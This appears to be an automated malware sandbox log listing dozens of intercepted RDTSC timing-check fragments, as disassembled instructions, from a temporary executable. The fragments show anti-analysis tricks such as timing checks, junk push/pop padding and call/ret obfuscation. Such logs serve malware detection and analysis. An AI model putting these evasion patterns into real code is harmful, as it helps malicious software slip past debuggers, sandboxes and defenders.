Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4CFB second address: 0000000000DD4D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4D05 second address: 0000000000DD4D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4D0B second address: 0000000000DD4D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4D0F second address: 0000000000DD4D1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FEBE0E5FDB6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DD4D1D second address: 0000000000DD4D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBEE07 second address: 0000000000DBEE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBEE0B second address: 0000000000DBEE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DBEE0F second address: 0000000000DBEE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E09D5A second address: 0000000000E09D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA30 second address: 0000000000E0DA3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FEBE0E5FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA3C second address: 0000000000E0DA46 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEBE0B1C45Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA46 second address: 0000000000E0DA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA4D second address: 0000000000E0DA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA53 second address: 0000000000E0DA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEBE0E5FDC3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA72 second address: 0000000000E0DA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E0DA76 second address: 0000000000E0DAA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FEBE0E5FDC1h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB318C second address: 0000000000DB3198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEBE0B1C456h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DC23BD second address: 0000000000DC23CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FEBE0E5FDB6h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E2DEF3 second address: 0000000000E2DEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E2DEF9 second address: 0000000000E2DF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E2DF01 second address: 0000000000E2DF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E2E1A2 second address: 0000000000E2E1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E021C6 second address: 0000000000E021D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 je 00007FEBE0B1C456h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E021D8 second address: 0000000000E021E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jns 00007FEBE0E5FDB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB8286 second address: 0000000000DB82A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FEBE0B1C45Dh 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB82A1 second address: 0000000000DB82A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DB82A5 second address: 0000000000DB82A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E30F79 second address: 0000000000E30F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E30F7D second address: 0000000000E30FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 73B24400h 0x0000000e push edi 0x0000000f je 00007FEBE0B1C45Ch 0x00000015 mov esi, dword ptr [ebp+142A3AE6h] 0x0000001b pop edx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 mov edx, edi 0x00000022 push 00000003h 0x00000024 jmp 00007FEBE0B1C45Eh 0x00000029 push 8482DF21h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E30FB9 second address: 0000000000E30FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E31091 second address: 0000000000E3109B instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E3109B second address: 0000000000E310A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FEBE0E5FDB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E310A5 second address: 0000000000E310F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 0840FEF5h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FEBE0B1C458h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov esi, 0A15E7B8h 0x00000032 lea ebx, dword ptr [ebp+14509E0Ah] 0x00000038 mov ecx, dword ptr [ebp+142A22F8h] 0x0000003e push eax 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E311C3 second address: 0000000000E311D6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E311D6 second address: 0000000000E31224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edi 0x0000000a popad 0x0000000b pop eax 0x0000000c movzx esi, dx 0x0000000f mov dl, 3Bh 0x00000011 push 00000003h 0x00000013 sub dword ptr [ebp+142A1C8Fh], ecx 0x00000019 push 00000000h 0x0000001b or edi, dword ptr [ebp+142A2B31h] 0x00000021 push 00000003h 0x00000023 jmp 00007FEBE0B1C467h 0x00000028 mov ch, 2Ah 0x0000002a push 6712F9D9h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FEBE0B1C45Bh 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E31224 second address: 0000000000E31229 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E31229 second address: 0000000000E31261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 58ED0627h 0x0000000e mov ecx, 294A0066h 0x00000013 lea ebx, dword ptr [ebp+14509E15h] 0x00000019 clc 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007FEBE0B1C463h 0x00000023 jo 00007FEBE0B1C456h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E41D88 second address: 0000000000E41D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51FAD second address: 0000000000E51FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51FB3 second address: 0000000000E51FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E4FE99 second address: 0000000000E4FEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBE0B1C461h 0x0000000c jno 00007FEBE0B1C456h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E4FEB7 second address: 0000000000E4FEC1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5019A second address: 0000000000E501A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E50767 second address: 0000000000E5076B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E50D12 second address: 0000000000E50D35 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBE0B1C468h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E50D35 second address: 0000000000E50D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E50D3B second address: 0000000000E50D49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FEBE0B1C456h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E50E86 second address: 0000000000E50EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FEBE0E5FDC5h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E4443D second address: 0000000000E44444 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DAAEA6 second address: 0000000000DAAEAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DAAEAA second address: 0000000000DAAEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FEBE0B1C462h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DAAEBA second address: 0000000000DAAEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DAAEC0 second address: 0000000000DAAEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edi 0x00000006 jmp 00007FEBE0B1C469h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DAAEE1 second address: 0000000000DAAEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jmp 00007FEBE0E5FDC3h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51913 second address: 0000000000E51934 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBE0B1C464h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51934 second address: 0000000000E51938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51938 second address: 0000000000E51944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEBE0B1C456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E51944 second address: 0000000000E51969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEBE0E5FDBCh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CBD4 second address: 0000000000E5CC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C45Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBE0B1C469h 0x00000010 jl 00007FEBE0B1C456h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CEEA second address: 0000000000E5CF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CF02 second address: 0000000000E5CF08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CF08 second address: 0000000000E5CF41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007FEBE0E5FDB6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEBE0E5FDBCh 0x00000010 jmp 00007FEBE0E5FDC6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CF41 second address: 0000000000E5CF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5CF4C second address: 0000000000E5CF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEBE0E5FDB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F786 second address: 0000000000E5F7AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jp 00007FEBE0B1C460h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F7AC second address: 0000000000E5F7B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5F7B2 second address: 0000000000E5F7BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEBE0B1C456h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FAE3 second address: 0000000000E5FAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FAE7 second address: 0000000000E5FAF9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FC35 second address: 0000000000E5FC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FC3B second address: 0000000000E5FC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FDAD second address: 0000000000E5FDB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5FEBA second address: 0000000000E5FEBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6024A second address: 0000000000E60253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E60484 second address: 0000000000E60488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E60488 second address: 0000000000E6048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E62669 second address: 0000000000E6266E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6266E second address: 0000000000E62727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FEBE0E5FDBBh 0x00000011 jg 00007FEBE0E5FDCFh 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FEBE0E5FDB8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jnc 00007FEBE0E5FDB7h 0x0000003a jno 00007FEBE0E5FDC2h 0x00000040 adc edi, 2A592569h 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b call 00007FEBE0E5FDB8h 0x00000050 pop ebx 0x00000051 mov dword ptr [esp+04h], ebx 0x00000055 add dword ptr [esp+04h], 00000014h 0x0000005d inc ebx 0x0000005e push ebx 0x0000005f ret 0x00000060 pop ebx 0x00000061 ret 0x00000062 mov esi, dword ptr [ebp+142A384Eh] 0x00000068 xchg eax, ebx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FEBE0E5FDBAh 0x00000071 jne 00007FEBE0E5FDB6h 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6300C second address: 0000000000E63010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E63B21 second address: 0000000000E63B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E63010 second address: 0000000000E63015 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E63B26 second address: 0000000000E63B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E63015 second address: 0000000000E63022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
